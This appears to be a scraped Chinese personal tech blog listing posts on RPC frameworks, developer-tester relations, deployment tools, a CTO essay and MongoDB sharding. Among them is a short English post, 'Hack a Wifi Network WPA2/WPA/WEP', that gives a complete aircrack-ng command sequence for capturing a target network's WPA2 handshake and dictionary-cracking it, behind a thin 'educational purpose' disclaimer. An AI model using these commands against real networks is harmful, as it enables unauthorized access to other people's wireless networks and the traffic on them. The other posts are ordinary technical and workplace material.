paulwong

#

轻量级分布式 RPC 框架

     摘要: Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->1、每套服务需搭配一个RPCSERVER2、RPCSERVER作为SPRING 容器的一个BEAN3、在SPRING启动的时候,RPCSERVER会启动一个NETTY服务器端,然后将SPRING...  阅读全文

posted @ 2016-04-12 13:44 paulwong 阅读(633) | 评论 (0)编辑 收藏

为什么开发与测试老掐架呢

让我们思考几个常见的问题:

  • 软件测试的目的是什么?

  • 开发人员能否构建出没有Bug的完美软件?

  • 测人人员和开发人员是什么关系?

  • 软件测试能否保证软件质量?

先闭目冥想五分钟吧,然后可以尝试着回答上面的问题。

计算机先驱 Maurice Wikes 回忆起 1949 年他在英国剑桥工作的情形,在拖着打孔纸带上楼给雏形计算机 EDASC 装载程序时,他看到了自己的未来:

我强烈的意识到,生命中剩下的好日子,都将耗费在给自己的程序找错误上头。

Maurice Wikes告诉我们,没有完美的软件。

我曾经写过一篇荐书文,推荐了温伯格技术思想三部曲中的《颠覆完美软件:软件测试必须知道的几件事》。在这本书里,温伯格也告诉我们,没有完美的软件。所有的开发和测试人员都应该读读那本书。

温伯格在《颠覆完美软件》中几乎讨论所有常见的与软件测试相关的概念、问题和指导思想,所以,在这篇文章里,我只能来吐槽啦,我将从以下几方面列一些常见的现象,希望能引起大家的思考。

  • 测试和开发的关系

  • 流程与标准

  • 资源

  • 态度

测试和开发的关系

测试和开发是对立的吗?

从处理Bug的角度看,似乎可以这么说。开发人员既生产代码,也生产Bug。因为开发人员不可避免地会生产Bug,所以测试人员必须存在,以便在软件交付之前尽可能多地检出Bug,保证交付给客户的软件质量更好一些。一个产Bug,一个挑Bug,看起来似乎是对立的。

在现实中,很多测试团队和开发团队也正是因为这一点而搞得关系不和,甚至真的对立起来。请回想一下你周围发生的与开发和测试相关的事儿,看看有没有遇到过下面的情景:

  • 开发说,测试净找麻烦,客户跟本不可能像他们那样使用软件

  • 测试说,问题总是会在看似极端的条件下产生,用户总是会不经意触碰到看似极端的不可能出现的条件

  • 开发说,测试花在异常情况下的精力比测试主流程还多,不知道轻重缓急

  • 测试说,开发从来不考虑测试的感受,连测都不测就扔给我们

  • 开发说,我都测了,还要测试人员干什么

  • 测试说,这么明显的问题你们都不测一下,把我们测试当垃圾桶啊

  • ……

许许多多类似的问题,让开发和测试的关系从扑朔迷离、相爱相杀走向对立。我见过开发和测试搞冷战某人遇见某人侧脸而过,也见过测试经理和开发经理打架,还见过高层领导故意让测试团队和开发团队关系紧张以为这样可以提高测试效率也能给开发压力最终会产出更高质量的软件……

实际上,测试和开发拥有同一个目的:让软件更完美。测试和开发的关系,是一个问题的两面,应该是相辅相成和平共处的。测试不是为了挑刺儿,他提出的问题也不针对生产软件的开发人员,而仅仅是在努力想让开发人员的产出物看起来更好用。只要开发不将测试提Bug这个行为看成针对个人的行为,一切就有了美好的前提。

否定软件,并不是否定开发软件的人。这是开发和测试都需要明确的一个原则和前提。

还有的人认为开发和测试之关系类似皮与毛,皮之不存毛将焉附?所以有的开发也会因此而有优越感:没我们写软件,你们测试早下岗了!可是,开发不写软件,开发也下岗了耶!

感谢开发的不完美,让测试可以有事可做并练就慧眼。

感谢测试的认真细致和耐心体贴,让开发可以发现自己的不完美并有机会提升自己——那些说我软件不好的,都是为了我好。

资源

别动我们测试的服务器,你们自己搭一个!

我们没环境,不用你们的用谁的?

谁把我们的测试手机拿走了?你们申请一个嘛,老来占我们设备。

谁在用我们的账号?招呼都不打!我要用,赶紧退出来!

有时开发和测试之间也会有资源上的冲突,要有努力的有创造性的解决(我可以负责任地说,装黑苹果不是好办法),不要让大家伙的工作卡在环境上,这是管理者要解决的基本问题。我见过很多非常棒的一线经理,在现实制约下,主动把自己的手机、iPad都贡献出来当做测试设备。这也是解决资源问题的一种办法哦。

流程与标准

你身边的人员会这么抱怨吗:

  • 开发根本不看我们的测试用例,评审邮件从来就不回复

  • 我们一报Bug,开发就说用户根本不可能这么用,还说不知道我们怎么会这么测

  • 送测单里根本不写测试范围或者寥寥几句跟没写一样

  • 开发调整设计从来也不告诉我们

  • 为什么产品经理和UI只和开发讨论需求变更?

  • 为什么发布计划里不给测试预留测试时间?

  • 为什么开发写完代码测都不测就扔给我们?

  • 为什么客户那里发现了问题老问是谁测的、为什么没测出来?

  • 测试老是一声不吭就把Bug优先级设置为Major

  • 测试总是把大量时间花在用户根本不可能用到的功能上

  • 测试分不清哪些什么是重点,你给他说他还老是一堆道理这了那了

  • 测试提的Bug,现象描述也不准确,重现步骤也没有,有的根本就知道是不是误操作

  • 测试老来打断我,一会儿叫一下一会儿叫一下,根本没办法专注开发

  • jira上的Bug重复率太高,一个问题提N遍,难道就不能合并一下?

  • 测试发现Bug,一声招呼都不打就直接告诉老板了,搞得我很被动

  • 测试就是专门挑刺儿的,有劲不往正地儿使,你倒是测测用户常用的功能啊

  • 那么简单的Bug都能流出到用户那里,真不知道测试怎么测的

  • 开发老嫌测试报告数据不漂亮,逼着我们调整

Ok,如果你身边的开发和测试从来没有过类似的问题,那很好,恭喜你,看来你们的团队人nice协作也很顺畅,棒棒哒。

假如你身边充斥着这样嘈杂的抱怨,那说明什么呢?开发、测试、发布这一套流程有问题?还是团队缺乏明确的指向来引导大家向积极、有效的行为靠近?

流程和标准总是有待解释的,再好的规则,歪嘴和尚也能把它念斜……

我们随便挑一个问题吧:为什么开发写完代码测都不测就扔给我们?这个问题普遍存在,它反映出的是程序员和测试人员的工作边界难以界定的矛盾。

程序员会说,我都测一遍,还要你们测试做什么?

测试会说,你测都不测,冒烟都过不了,有没有责任心?

程序员说,要我写测试用例,搭各种环境,遍历各种正常、异常逻辑,我还有没有时间写代码了?

测试会说,我们测试是垃圾桶吗,什么烂玩意儿都直接扔给我们,我们的时间就那么不值钱?

开发会说,测试本来就是干这个的,你不测谁测?

……

像这样的问题,能制定一个标准,说明什么样的逻辑开发要自测覆盖什么样的逻辑可以交给测试来测?能画一条三八线吗?

不能。所以,这个时候,靠谱的一线管理者就显得很重要。如何创造性的发现适合团队的方法来让大家顺畅地协同工作,比标准、制度更重要,这往往依赖于技术管理者的能力和团队成员的意识。没有普适的方法,只有适合这个组织的、此时此地的策略,加油吧,在战斗中摸索出最适合当下的道路。

那什么是靠谱的一线管理者呢?

温伯格《成为技术领导者》一书中对领导职责的定义如下:

领导的职责就是创造这样一个环境,每个人都能在其中发挥出更多的能力。

如果一个技术领导带领的团队,大部分人都能专心做与其能力适配的事情而不用整天泡在与本节前面所列类似的问题里,那他基本上就算是比较靠谱了。

至于像给测试预留多长的测试周期、调整设计要不要通知测试、需求调整要不要测试参与等问题,合理的流程和标准可以起到很大的辅助作用,技术领导者只要依据合理的制度,引导大家有效参与,就可以化解。

态度

场景一:

测试MM对阿猿说发现了一个Bug。  阿猿矢口否认:不可能,绝对不可能!  MM:真的有Bug,你过来看一下!  阿猿:我都不用看,在我这儿好好儿的。  MM:你来看一下嘛……  阿猿:看什么看,肯定你环境问题,动什么东西了吗?重启了吗?

场景二:

测试MM想在jira上提个Bug,先在QQ上对阿猿说:有个Bug,你过来看下?  阿猿:忙着呢,焦头烂额的。  MM:一分钟都用不了,你来看下吧。  阿猿:思路一打断就不好恢复了,等会儿!  MM:你不看我提到jira上了啊。  阿猿:随便,你不就是爱提Bug嘛。

场景三:

测试MM呼叫阿猿:阿猿阿猿,程序又崩溃了,快来看看!  阿猿慢腾腾地起身过来,鼠标点几下:看不出来什么问题,你怎么操作的?  MM:这样点一下,那样,这样,……回车……。  阿猿:重现不了啊,你想办法重现,重现了再叫我,我忙着呢。  MM:……

我曾经画过一张暴漫,以“她发现了一个Bug”为题发布在微信订阅号“程序视界”里,再现类似的场景,感兴趣的可以在订阅号内回复10019查看(点击订阅号底部的帮助菜单里的“所有文章”子菜单也能找到)。

开发和测试的日常工作中,上面的情景不断上演,这其中有一部分原因来自态度。我们有时还能听到类似下面的话:

  • 你Bug里的现象描述根本没用

  • 你根本就没理解这个逻辑,给你说不清楚

  • 测试什么都不懂……

  • 你听我的,我让你怎么测你就怎么测

  • 你这种测法儿,再好的软件都经不起你折腾

  • 用户根本不可能这样用,你们整来整去净瞎耽误工夫

  • 一轮都没测完,你们就给老板说可以按期交付没问题?

  • 你们安排计划时根本不考虑测试,三天,三天怎么可能测得完!

  • ……

有时,有一些开发人员会用技术优势藐视测试,认为测试工作技术含量低,内心认为测试是附属没地位,说话就不太客气……测试会感觉到,反过来也会对开发有意见……就这么,从相敬如宾开始走向嫌怨丛生……

有个朋友的QQ签名档是:没有自我,只有大道。我琢磨,放在软件项目里,也挺适用的。

其实,开发和测试拥有共同的目的:生产高质量软件。具体说,每一个产品、项目、版本都有明确的目标,这些目标是属于开发和测试的,是大家的。我们把共同的目标牢记在心,摆在首位,我们还要想着别人所做的一切,都是针对软件本身,都是在为目标而努力,这样就心平气和多了,就容易从当下的泥沼中超脱出来,求同存异共同前进。

    作者:foruok 微信订阅号“程序视界”(programmer_sight)

    原文:CSDN

    posted @ 2016-04-12 11:01 paulwong 阅读(206) | 评论 (0)编辑 收藏

    Dubbos

         摘要: dubbos主要是基于dubbox的基础上,进行进一步的优化及拓展。Dubbos当前的主要功能支持REST风格远程调用(HTTP + JSON/XML):基于非常成熟的JBoss RestEasy框 架,在dubbo中实现了REST风格(HTTP + JSON/XML)的远程调用,以显著简化企业内部的跨语言交互,同时显著简化企业对外的Open API、无线API甚至AJAX服务端等等的开...  阅读全文

    posted @ 2016-04-12 10:59 paulwong 阅读(421) | 评论 (0)编辑 收藏

    Hack a Wifi Network WPA2/WPA/WEP

    First of all you will need a Linux operating system & a little education about Python
    programming.
    You can install Linux operating system on any Pc or Laptop.
    Note : This tutorial is only for eduactional purpose. The author of this pdf is not responsible for any illegal work. During installing and setting up you can loose all of your data, Do not do if you don’t know about programming.
    Device:
    Use Tp-link TL-WN722N Wifi Adapter for High gain.
    Start! Open Terminal:
    1. airmon-ng check kill
    2. airmon-ng
    3. airmon-ng start wlan0
    4. airodump-ng wlan0mon
    5. (control + c to stop)
    6. airodump-ng wlan0mon —bssid 5C:F9:6A:CD:8A:1D -c 1 -w WPA2
    7. wait for 1 minute, capture handshake
    8. aircrack-ng WPA2-01.cap -w /root/rockyou.txt
    /darkc0de
    /Wpa list 1,2,3

    darkc0de, Wpalist & rockyou.txt are the dictionaries files. You can download these from internet.
    This PDF is made by Malik Mubashir

    posted @ 2016-04-05 16:53 paulwong 阅读(188) | 评论 (0)编辑 收藏

    Walle --web部署系统工具

    Walle 一个web部署系统工具,配置简单、功能完善、界面流畅、开箱即用!支持git、svn版本管理,支持各种web代码发布,PHP,Python,JAVA等代码的发布、回滚,可以通过web来一键完成。

    官网主页 | Github主页

    功能列表

    • 用户分身份注册、登录
    • 开发者发起上线任务申请、部署
    • 管理者审核上线任务
    • 支持多项目部署
    • 支持多项目多任务并行
    • 快速回滚
    • 项目的用户权限管理
    • 部署前准备任务pre-deploy(前置检查)
    • 代码检出后处理任务post-deploy(如vendor)
    • 同步后更新软链前置任务pre-release
    • 发布完毕后收尾任务post-release(如重启)
    • 执行sql构建(不要担心忘记测试环境sql同步)
    • 线上文件指纹确认
    • 支持git、svn版本管理

    posted @ 2016-03-29 22:09 paulwong 阅读(273) | 评论 (0)编辑 收藏

    SHARDING-JDBC

    https://github.com/dangdangdotcom/sharding-jdbc/

    posted @ 2016-03-29 21:26 paulwong 阅读(199) | 评论 (0)编辑 收藏

    想知道吗?CTO 比普通程序员强在哪?

    互联网的蓬勃发展,让无数的程序员身价水涨船高,都变成了「香饽饽」,更有了不少「创业」,「当上 CTO,迎娶白富美的传说」。都说不想当元帅的士兵不是好士兵,我觉得这件事见仁见智,但提升自己的价值,让自己变得更优秀更有竞争力,一定是一线城市的大部分 IT 人内心的追求。

    诚然,并不是所有程序员都会变成 CTO,程序员——>CTO 的路径像是一个漏斗,极少数人沉淀下来,在业界掀起一阵阵飓风。这些 CTO 比起普通的程序员,强在哪?丰富的技术知识只是基础,更重要的是战略眼光,管理把控能力。那么 CTO 所思所想,和普通程序员究竟有什么不同?

     普通的程序员往往只负责模块的开发,代码的优化,和新技术的钻研,哦对我说的是普通程序员,而不是只会 fork 的小白程序员;而走向管理领域的高级程序员也许已经开始负责团队,背负团队进度和效率。而 CTO,往往不仅要考虑优化团队的开发工具、流程,肩负起把控整体技术方向的重任,要具有前瞻性,同时还要对企业绩效负责。尤其是技术驱动型公司,你问这样的公司 CTO 好招么,答案通常是「很难招」。技术选型其实是创业公司最纠结的问题,很多团队往往一上来基于已有的程序员的个人习惯和爱好,选择了一个技术方案,然后到某一天一看,我靠,全是坑(当然,也可能与执行者的能力有关)。

    图为通常来说程序员的发展路线:

    影响企业绩效的因素在方方面面,核心因素却往往集中在产品上。不夸张地说,应用程序的性能对于企业绩效有着非常巨大的影响。互联网产品遍地开花,SDK 层出不穷,用户对于一种新产品的尝试时间与互联网产品更新的速度成反比。用户体验这个已经被讲烂的概念依然还是提升产品价值的关键按钮,无论是 2C 还是 2B。

    一旦用户未在你所负责的产品中获得最佳体验,或者直接解决痛点,他们会毫不犹豫的选择其他平台。

    这个问题普通程序员通常解决不了,而一名优秀的 CTO 就需要下点功夫了。如何成为一名优秀的 CTO,这是一个问题,而一个问题往往是另一个问题的解决方案。为什么一个团队需要优秀的 CTO?是因为需要有人来带领技术团队优化应用性能——解决用户体验的难题,提升开发、运维,把控技术团队的战略方向。那么,优化应用性能,获得好的用户体验,提升开发、运维效率,又该怎么做呢?

    为了确保应用程序能够达到甚至超越用户的高期望,需要不断优化底层 IT 基础设施的性能。然而,随着基础设施变得越来越动态化,混合化和复杂化,一波波新的挑战随之而生,让不少 CTO 多了几根白头发。

    但是一个问题的产生,往往意味着相应的解决方法正在路上。为了优化应用程序的性能,优秀的 CTO 需要足够主动和敏捷。

    主动优化包括物理和虚拟服务器,网络,存储设备,数据库,终端用户服务,云,和大数据环境在内的所有基础设施。需要将 IT 团队带领成为不仅能够迅速识别和解决问题,同时具有强大的反脆弱性,在问题对用户体验产生不利影响之前,先发制人的组织。以下五大关键措施或许可以帮助我们实现一点。

    1. 捕捉和报告性能指标

    鉴于良好性能的重要性,对于 IT 团队来说只在基础设施组件出现问题时产生告警是不足够的。CTO 需要让团队能够提前发现潜在的性能问题,并主动解决。例如,通过免费或付费的第三方工具及一些开源工具,配置告警,在问题出现之前解决。不同的团队,往往有最为适合自己的基础设施监控手段,优秀的 CTO 需要能够综合衡量团队大小,开发、运维水平,与人力和资金成本,选择最符合公司当下情况的监控方式。对于变动型较大或者高速发展的公司,盲目增加人力和花费时间去进行自主开发系统监控解决方案往往造成时间的浪费,得不偿失。

    2. 统一视图和工具来增加可视性,并加快问题解决

    由于开源工具与第三方解决方案层出不穷,不少 IT 团队也勇于尝试新工具、新方法。虽然有很多新的工具,解决不同方面的问题,但当问题出现时,团队成员仍然花费许多时间开会讨论,不断地开会浪费了许多时间。而与此同时,用户却经历着槽糕的体验。为什么明明有许多工具却依然采取本办法沟通呢?原因有两个,一个是很多 IT 团队内部在使用不同的协作、监控等工具,另一个是其实团队内部并没有养成利用监控平台或者协作工具的习惯。这种时候 CTO 就需要发挥作用,采用一个统一且功能强大的视图和架构来监测关键的 IT 服务,无论是虚拟机,物理主机,云主机,或者其他组件,同时采取深刻理解DevOps,掌握提升协作、沟通效率,优化开发流程,节省运维成本,提前发现问题的方法。

    想知道吗?CTO 比普通程序员强在哪?

    3. 跟踪用户体验

    IT 团队可能拥有大量的性能指标,但是如果不知道用户的真实体验,就还是无法真正了解性能表现。什么是真实的体验?就是用户在实际操作中,是如何使用我们的产品的,在某个界面停留多久,对哪个环节不满意,诸如此类。IT 团队需要分析端到端的基础设施的响应时间,并借助虚拟交易功能,持续跟踪交易响应时间,即使在用户不使用应用程序的情况下。

    想知道吗?CTO 比普通程序员强在哪?

    4. 采用严格的 SLA 管理

    一旦企业的全面监测到位, IT 团队针对服务水平协议(SLAs)跟踪性能和体验是至关重要的。IT 团队需要能够跟踪 SLA 合规性,当潜在问题出现时,立即识别和解决。通过跟踪 SLAs,IT 企业可以评估他们在管理用户体验和基础设施性能上的有效性。 这一评估对于准确计量团队绩效,设定目标和跟踪进展也是至关重要的。

    5. 将 IT 和非 IT 数据相关联,进行高效的容量规划

    满足用户不断提高的期望,并不仅仅是跟踪 IT 数据。通过关联 IT 和业务数据,团队可以主动识别瓶颈,提高终端用户体验。比如,将服务器 CPU 利用率指标和简单的历史数据相关联;比如,将用户登录或交易的数量与 IT 数据一起进行展示,可以为适应未来发展的容量规划,提供有意义的见解。下图为某团队将 PHP 请求、响应时间等数据和系统性能数据一起导入 Cloud Insight 仪表盘进行展示的例子。

    想知道吗?CTO 比普通程序员强在哪?想知道吗?CTO 比普通程序员强在哪?

    插播一个好玩的,下图为某团队成员别出心裁将键盘使用记录导入仪表盘进行展示,也许键盘记录只是一种出于好玩的别出心裁,但同理,也可以将运营数据、业务数据、系统性能数据一起导入仪表盘进行展示,这对一个快速增长的 IT 团队来说,就很有价值了。

    想知道吗?CTO 比普通程序员强在哪?

    总结

    数据驱动互联网高速发展的时代,技术团队 Leader 除了技术过硬,眼光独到,还要将紧跟 DevOps 的步伐,放眼国内外,快速、敏捷、尽可能多的优化团队开发手段和流程,减少开发、运维、运营之间的沟通壁垒,将数据化融入到技术推进的方方面面。而当你在这些方面有了核心竞争力,就不再只是一名普通的程序员了。

    posted @ 2016-03-29 20:44 paulwong 阅读(142) | 评论 (0)编辑 收藏

    MongoDB健壮集群——用副本集做分片

         摘要: 1.    MongoDB分片+副本集健壮的集群方案多个配置服务器 多个mongos服务器  每个片都是副本集 正确设置w架构图说明:1.   此实验环境在一台机器上通过不同port和dbpath实现启动不同的mongod实例2.   总的9个mongod实例,分别做成shard...  阅读全文

    posted @ 2015-12-18 14:03 paulwong 阅读(525) | 评论 (0)编辑 收藏

    利用Mongodb的复制集搭建高可用分片,Replica Sets + Sharding的搭建过程

         摘要: 参考资料 reference:  http://mongodb.blog.51cto.com/1071559/740131  http://docs.mongodb.org/manual/tutorial/deploy-shard-cluster/#sharding-setup-shard-collection感谢网友Mr.Sharp,他给了我很多...  阅读全文

    posted @ 2015-12-18 13:54 paulwong 阅读(487) | 评论 (0)编辑 收藏

    MONGODB的复制与分片

    复制:为了防止单点故障,会有几个实例在运行,保持相同的数据。

    • 一般主从:一主多从,主作读写数据,从作从主备份数据用,如果主宕机,则整个MONGODB无法工作。
    • 复制式主从:一动态主多从,主由选举产生,当中一个主宕机,其他的从会选出一个主。

    适用场景:高负荷的读多写少。

    分片:SHARDING,一般数据库中的分库分表,一个表分成几个表用。每个片再做复制。

    适用场景:高负荷的写多读少。即如果发现MONGODB写不能支撑了,则要转此模式。

    安装配置服务器,安装ROUTER:MONGOS,安装分片服务器,通知MONGOS挂载SHARD。

    如果只启用数据库的分片,则不同的表放在不同的分片上,即一个表只占一个分片,另一个表占另一个分片,如果做了表的分片,则此表会分布在所有分片上。











    posted @ 2015-12-18 13:21 paulwong 阅读(259) | 评论 (0)编辑 收藏

    仅列出标题
    共89页: First 上一页 5 6 7 8 9 10 11 12 13 下一页 Last